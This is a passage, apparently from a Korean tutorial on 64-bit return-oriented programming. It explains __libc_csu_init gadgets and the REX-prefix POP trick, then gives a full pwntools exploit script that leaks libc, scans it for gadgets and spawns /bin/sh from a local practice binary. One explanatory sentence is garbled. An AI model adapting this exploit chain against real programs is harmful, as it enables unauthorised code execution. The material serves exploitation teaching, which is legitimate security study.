...
다음와 같이 POP 명령어를 활용할 수 있습니다.
POP "R8, R9, R10, R11, R12, R13, R14, R15" 명령어들은 POP "RAX, RCX, RDX, RBX, RSP, RBP, RSI, RDI" 명령어로 활용가능합니다.
예를 들어 "POP R8" 명령어의 hex 값은 "41 58" 이기 때문에 "POP RAX" 명령어(hex 값은 "58")도 사용할 수 있습니다.
해당 Exploit code에서 0x40060d 주소를 3번째 Gadget으로 사용합니다.
해당 Gadget으로 인해 Gadget을 이용해 RSP 레지스터에 ".bss"영역으로 이동하여 저장된 ROP Chain을 실행하게 됩니다값을 저장할 수 있습니다.
여기에서는 해당 Gadget을 이용하여 RSP 레지스터에 다음 ROP코드가 저장된 영역의 주소를 저장하고, 해당 영역으로 이동하여 코드를 실행 합니다.
Panel | ||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| ||||||||||||||||||||||||||||||||||||
|
Exploit code
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import * from struct import * #context.log_level = 'debug' binary = ELF('./rop') execve = 59 addr_bss = 0x601050 addr_got_read = binary.got['read'] addr_got_write = binary.got['write'] addr_got_start = binary.got['__libc_start_main'] addr_csu_init1 = 0x40060a addr_csu_init2 = 0x4005f0 addr_csu_init3 = 0x40060d stacksize = 0x400 base_stage = addr_bss + stacksize p = process(binary.path) p.recvn(10) # stage 1: read address of __libc_start_main() buf = 'A' * 72 #Gadget 1 buf += p64(addr_csu_init1) buf += p64(0) buf += p64(1) buf += p64(addr_got_write) buf += p64(8) buf += p64(addr_got_start) buf += p64(1) #Gadget 2 - write(1,__libc_start_main,8) buf += p64(addr_csu_init2) buf += p64(0) buf += p64(0) buf += p64(1) buf += p64(addr_got_read) buf += p64(400) buf += p64(base_stage) buf += p64(0) #Gadget 2 - Call read(0,.bss + 0x400,400) buf += p64(addr_csu_init2) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(addr_csu_init3) buf += p64(base_stage) p.send(buf) libc_addr = u64(p.recv()) log.info("__libc_start_main : " + hex(libc_addr)) libc_bin = '' libc_readsize = 0x190000 # stage 2: "/bin/sh\x00" and JIT ROP buf = "/bin/sh\x00" buf += 'A' * (24-len(buf)) buf += p64(addr_csu_init1) buf += p64(0) buf += p64(1) buf += p64(addr_got_write) buf += p64(libc_readsize) buf += p64(libc_addr) buf += p64(1) #Gadget 1 - write(1,Address of leak libc,0x190000) buf += p64(addr_csu_init2) buf += p64(0) buf += p64(0) buf += p64(1) buf += p64(addr_got_read) buf += p64(100) buf += p64(base_stage + len(buf) + 8 * 10) buf += p64(0) #Gadget 2 - read(0,"base_stage + len(buf) + 8 * 10" ,100) buf += p64(addr_csu_init2) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) p.send(buf) with log.progress('Reading libc area from memory...') as l: for i in range(0,libc_readsize/4096): libc_bin += p.recv(4096) l.status(hex(len(libc_bin))) offs_pop_rax = libc_bin.index('\x58\xc3') # pop rax; ret offs_pop_rdi = libc_bin.index('\x5f\xc3') # pop rdi; ret offs_pop_rsi = libc_bin.index('\x5e\xc3') # pop rsi; ret offs_pop_rdx = libc_bin.index('\x5a\xc3') # pop rdx; ret offs_syscall = libc_bin.index('\x0f\x05') # syscall log.info("Gadget : pop rax; ret > " + hex(libc_addr + offs_pop_rax)) log.info("Gadget : pop rdi; ret > " + hex(libc_addr + offs_pop_rdi)) log.info("Gadget : pop rsi; ret > " + hex(libc_addr + offs_pop_rsi)) log.info("Gadget : pop rdx; ret > " + hex(libc_addr + offs_pop_rdx)) log.info("Gadget : syscall > " + hex(libc_addr + offs_syscall)) # stage 3: execve("/bin/sh", NULL, NULL) buf = p64(libc_addr + offs_pop_rax) buf += p64(execve) buf += p64(libc_addr + offs_pop_rdi) buf += p64(base_stage) buf += p64(libc_addr + offs_pop_rsi) buf += p64(0) buf += p64(libc_addr + offs_pop_rdx) buf += p64(0) buf += p64(libc_addr + offs_syscall) p.send(buf) p.interactive() |
...